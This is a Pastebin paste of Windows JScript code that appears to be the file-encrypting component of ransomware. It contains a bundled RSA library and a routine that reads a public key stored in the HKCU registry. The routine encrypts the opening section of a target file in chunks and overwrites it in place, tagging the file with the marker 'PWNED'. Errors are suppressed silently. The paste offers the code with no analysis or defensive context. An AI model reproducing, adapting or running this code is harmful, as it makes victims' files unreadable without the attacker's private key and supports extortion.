$i=0;do{$enc1=this.base64.indexOf($input.charAt($i++));$enc2=this.base64.indexOf($input.charAt($i++));$enc3=this.base64.indexOf($input.charAt($i++));$enc4=this.base64.indexOf($input.charAt($i++));$output+=String.fromCharCode(($enc1<<2)|($enc2>>4));if($enc3!=64)$output+=String.fromCharCode((($enc2&15)<<4)|($enc3>>2));if($enc4!=64)$output+=String.fromCharCode((($enc3&3)<<6)|$enc4)}while($i<$input.length);return $output}};var Hex={hex:'0123456789abcdef',encode:function($input){if(!$input)return false;var $output='';var $k;var $i=0;do{$k=$input.charCodeAt($i++);$output+=this.hex.charAt(($k>>4)&0xf)+this.hex.charAt($k&0xf)}while($i<$input.length);return $output},decode:function($input){if(!$input)return false;$input=$input.replace(/[^0-9abcdef]/g,'');var $output='';var $i=0;do{$output+=String.fromCharCode(((this.hex.indexOf($input.charAt($i++))<<4)&0xf0)|(this.hex.indexOf($input.charAt($i++))&0xf))}while($i<$input.length);return $output}};var ASN1Data=function($data){this.error=false;this.parse=function($data){if(!$data){this.error=true;return null}var $result=[];while($data.length>0){var $tag=$data.charCodeAt(0);$data=$data.substr(1);var $length=0;if(($tag&31)==0x5)$data=$data.substr(1);else{if($data.charCodeAt(0)&128){var $lengthSize=$data.charCodeAt(0)&127;$data=$data.substr(1);if($lengthSize>0)$length=$data.charCodeAt(0);if($lengthSize>1)$length=(($length<<8)|$data.charCodeAt(1));if($lengthSize>2){this.error=true;return null}$data=$data.substr($lengthSize)}else{$length=$data.charCodeAt(0);$data=$data.substr(1)}}var $value='';if($length){if($length>$data.length){this.error=true;return null}$value=$data.substr(0,$length);$data=$data.substr($length)}if($tag&32)$result.push(this.parse($value));else $result.push(this.value(($tag&128)?4:($tag&31),$value))}return $result};this.value=function($tag,$data){if($tag==1)return $data?true:false;else if($tag==2)return $data;else if($tag==3)return this.parse($data.substr(1));else if($tag==5)return null;else if($tag==6){var $res=[];var $d0=$data.charCodeAt(0);$res.push(Math.floor($d0/40));$res.push($d0-$res[0]*40);var $stack=[];var $powNum=0;var $i;for($i=1;$i<$data.length;$i++){var $token=$data.charCodeAt($i);$stack.push($token&127);if($token&128)$powNum++;else{var $j;var $sum=0;for($j=0;$j<$stack.length;$j++)$sum+=$stack[$j]*Math.pow(128,$powNum--);$res.push($sum);$powNum=0;$stack=[]}}return $res.join('.')}return null};this.data=this.parse($data)};var RSA={getPublicKey:function($pem){if($pem.length<50)return false;if($pem.substr(0,26)!='-----BEGIN PUBLIC KEY-----')return false;$pem=$pem.substr(26);if($pem.substr($pem.length-24)!='-----END PUBLIC KEY-----')return false;$pem=$pem.substr(0,$pem.length-24);$pem=new ASN1Data(Base64.decode($pem));if($pem.error)return false;$pem=$pem.data;if($pem[0][0][0]=='1.2.840.113549.1.1.1')return new RSAPublicKey($pem[0][1][0][0],$pem[0][1][0][1]);return false},encrypt:function($data,$pubkey){if(!$pubkey)return false;var bytes=($pubkey.modulus.bitLength()+7)>>3;$data=this.pkcs1pad2($data,bytes);if(!$data)return false;$data=$data.modPowInt($pubkey.encryptionExponent,$pubkey.modulus);if(!$data)return false;$data=$data.toString(16);while($data.length<bytes*2)$data='0'+$data;return Base64.encode(Hex.decode($data))},pkcs1pad2:function($data,$keysize){if($keysize<$data.length+11)return null;var $buffer=[];var $i=$data.length-1;while($i>=0&&$keysize>0)$buffer[--$keysize]=$data.charCodeAt($i--);$buffer[--$keysize]=0;while($keysize>2)$buffer[--$keysize]=Math.floor(Math.random()*254)+1;$buffer[--$keysize]=2;$buffer[--$keysize]=0;return new BigInteger($buffer)}};
  5. //End of RSA encryption Library
  6.  
  7. //Other Configs
  8. var completedFileIndicator = 'PWNED';
  9. var mainHeaderSeperator = '|';
  10. var chunkHeaderSeperator = '*';
  11. var chunkSeperator = '$';
  12. var minimumChunkSize = 936;
  13. var publicKeyHiveEntry = 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\pk';
  14. var maxNoOfChunks = 200;
  15. //End of other config
  16. var charLen =  (minimumChunkSize) / 8;
  17. var numberOfCharactersToRead = maxNoOfChunks * charLen;
  18.  
  19. var ForReading = 1;
  20. var ForWriting = 2;
  21. var fso = new ActiveXObject('Scripting.FileSystemObject');
  22.  
  23. function getPublicKey() {
  24.     var wsh = new ActiveXObject('WScript.Shell');
  25.     return wsh.RegRead(publicKeyHiveEntry);
  26. };
  27.  
  28. function encryptText(text) {
  29.     var key = RSA.getPublicKey(getPublicKey());
  30.   return RSA.encrypt(text, key);
  31. };
  32.  
  33. function buildChunkHeader(text) {
  34.     var encryptedText = encryptText(text);
  35.     return encryptedText.length + chunkHeaderSeperator + encryptedText;
  36. };
  37.  
  38. function buildMainHeader(text) {
  39.     return text.length + mainHeaderSeperator + text;
  40. };
  41. function readOnlyHead(path) {
  42.     var fileObj = fso.GetFile(path);
  43.     var ts = fileObj.OpenAsTextStream(ForReading);
  44.     var fileBody = '';
  45.     var readChars = 0;
  46.     while(!ts.AtEndOfStream) {
  47.         var readChar = ts.read(1);
  48.         if(readChars < numberOfCharactersToRead) {
  49.             fileBody += readChar;
  50.         } else {
  51.             break;
  52.         }
  53.         readChars++;
  54.     }
  55.     ts.Close();
  56.     return fileBody;
  57. };
  58. function readOnlyEnd(path) {
  59.     var fileObj = fso.GetFile(path);
  60.     var ts = fileObj.OpenAsTextStream(ForReading);
  61.     var fileBody = '';
  62.     var readChars = 0;
  63.     while(!ts.AtEndOfStream) {
  64.         var readChar = ts.read(1);
  65.         if(readChars > numberOfCharactersToRead - 1) {
  66.             fileBody += readChar;
  67.         }
  68.         readChars++;
  69.     }
  70.     ts.Close();
  71.     return fileBody;
  72. };
  73. function writeFile(path, content) {
  74.     var tailEnd = readOnlyEnd(path);
  75.     var fileObj = fso.GetFile(path);
  76.     var ts = fileObj.OpenAsTextStream(ForWriting);
  77.     ts.write(content+tailEnd);
  78.     ts.close();
  79. };
  80. function encryptFileSection() {
  81.   var extractedText = readOnlyHead(fileNameToEncrypt);
  82.  
  83.     var stringChunks = [];
  84.     for(var i = charLen; i < extractedText.length; i += charLen) {
  85.       stringChunks.push(buildChunkHeader(extractedText.slice(i - charLen, i)));
  86.     }
  87.     var lastString = extractedText.slice(extractedText.length - (charLen - extractedText.length % charLen));
  88.     if(lastString) {
  89.         stringChunks.push(buildChunkHeader(lastString));
  90.     }
  91.     return completedFileIndicator+buildMainHeader(stringChunks.join(chunkSeperator));
  92. };
  93. function isAlreadyPwned() {
  94.     var f = fso.OpenTextFile(fileNameToEncrypt, ForReading);
  95.   var start = f.Read(completedFileIndicator.length);
  96.   return completedFileIndicator == start;
  97. };
  98. function replaceFile() {
  99.     try{
  100.         if(isAlreadyPwned() == false) {
  101.         writeFile(fileNameToEncrypt, encryptFileSection());
  102.         }
  103.     } catch(err) {}
  104. };
  105. replaceFile();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!